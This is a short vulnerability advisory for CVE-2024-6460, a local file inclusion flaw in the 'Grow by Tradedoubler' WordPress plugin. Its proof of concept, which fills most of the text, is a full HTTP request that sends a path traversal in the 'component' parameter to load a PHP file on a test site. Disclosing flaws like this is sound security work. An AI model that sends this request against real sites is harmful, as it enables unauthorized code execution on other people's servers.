Grow by Tradedoubler < 2.0.22 – Unauthenticated LFI | CVE 2024-6460

Description

The plugin is vulnerable to Local File Inclusion via the component parameter. This makes it possible for attackers to include and execute PHP files on the server, allowing the execution of any PHP code in those files.

Proof of Concept

1. Create at test PHP file named `phpinfo` in the WordPress root directory containing `<?php phpinfo() ?>`
2. Send a post request to `admin-ajax.php`:

```
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: wptestbench.ddev.site
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://wptestbench.ddev.site/wp-admin/admin.php?page=tradedoubler
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 52
Origin: http://wptestbench.ddev.site
Connection: close
Cookie: wordpress_test_cookie=WP%20Cookie%20check; wp_lang=en_US; wordpress_d750988433cbe18679f5b5b15324f02b=subscriber%7C1716282982%7ChBVhgSsNzKXRSiOMhF1OCCMxjK5sw015ZBNNIuCKl6x%7Ce62d7d8a9306d433ce8d2dbd9d399098035840d656aac0f535d3f954bf29e8d4; wordpress_logged_in_d750988433cbe18679f5b5b15324f02b=subscriber%7C1716282982%7ChBVhgSsNzKXRSiOMhF1OCCMxjK5sw015ZBNNIuCKl6x%7Cb969fa923593bc2290b32eee5e96c99951f7a3ff540178add4b3b298f9d832e3

action=tm_load_data&component=../../../../../phpinfo
```